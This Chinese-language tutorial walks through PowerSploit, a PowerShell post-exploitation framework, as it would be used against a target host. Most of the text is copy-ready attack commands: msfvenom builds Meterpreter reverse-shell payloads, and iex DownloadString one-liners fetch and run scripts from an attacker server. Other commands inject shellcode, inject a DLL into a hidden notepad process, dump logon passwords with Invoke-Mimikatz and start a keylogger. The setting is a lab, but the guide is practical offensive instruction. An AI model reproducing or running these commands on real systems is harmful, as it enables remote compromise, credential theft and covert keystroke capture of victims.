简介
PowerSploit是一款基于PowerShell的后渗透框架软件,包含很多Powershell攻击脚本,它们主要是用于渗透中的信息侦查、权限提升、权限维持。
https://github.com/mattifestation/PowerSploit
Linux下安装和搭建Powersploit
开启Apache服务
将下载好的文件放在/var/www/html目录,搭建一个简易的服务器
在网页中打开http://localhost/PowerSploit-master/
Powersploit 模块简介
- AntivirusBypass 发现杀软查杀特征
- CodeExecution 在目标主机执行代码
- Exfiltration 目标主机上的信息搜集工具
- Mayhem 蓝屏等破坏性脚本
- Persistence 后门脚本(持久性控制)
- Recon 以目标主机为跳板进行内网信息侦查
- ScriptModification 在目标主机上创建或修改脚本
PowerSpolit模块运用
Invoke-Shellcode
CodeExecution模块下的Invoke-Sellcode脚本常用语将ShellCode插入指定的进程ID或本地Powershell中,此模块结合MSF使用可以达到意想不到的效果。
1. 直接执行ShellCode反弹Meterpreter Shell
首先在MSF里使用reverse_https模块进行反弹
使用msfvenom命令生成一个PowerShell脚本木马
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.213.136 LPORT=4444 -f powershell -o /var/www/html/test
接着在目标机Powershell下输入以下命令下载该脚本
iex(New-Object Net.WebClient).DownloadString("http://192.168.213.136/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
接着输入以下命令下载木马
iex(New-Object Net.WebClient).DownloadString("http://192.168.213.136/test")
接着在PowerShell下运行该命令
Invoke-Shellcode -Shellcode ($buf) -Force
-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了。
2. Invoke-Portscan扫描端口
Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。
首先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.213.136/PowerSploit-master/Recon/Invoke-Portscan.ps1")
然后使用以下命令进行扫描
Invoke-Portscan -Hosts 192.168.213.138,192.168.213.136 -Ports "80,22,3389,4444"
3. Invoke-DllInjection DLL注入脚本
Invoke-DllInjection是Code Execution模块下的一个脚本,它是一个DLL注入的脚本。
首先下载脚本
IEX (New-Object Net.Webclient).DownloadString("http://192.168.213.136/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")
然后使用以下命令在kali中生成一个DLL注入脚本(默认生成的是32位的脚本,如要生成64位脚本则加一个x64)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.213.136 lport=4444 -f dll -o /var/www/html/test.dll
把生成的test.dll上传到目标服务器的C盘后,就能启动一个新的进程进行DLL注入,这样可以使注入变得更加隐蔽,使用如下命令新建一个名为notepad.exe的隐藏进程。
Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden
然后获得notepad.exe的pid。
然后使用以下命令进行注入
Invoke-DllInjection -ProcessID 5080 -Dll c:\test.dll
注入成功
返回MSF监听界面,再使用reverse_tcp模块进行反弹,发现已经成功反弹。
4. Invoke-Mimikatz 信息收集
Invoke-Mimikatz是Exfiltration模块下的脚本。用来做信息收集。
首先下载命令
IEX (New-Object Net.WebClient).DownloadString("http://192.168.213.136/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")
接着运行命令即可
Invoke-Mimikatz -DumpCreds
invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords"
5. Get-Keystrokes 键盘记录器
Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间
首先下载脚本
IEX (New-Object Net.WebClient).DownloadString("http://192.168.213.136/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")
然后执行以下命令开启键盘记录
Get-Keystrokes -LogPath c:\key.txt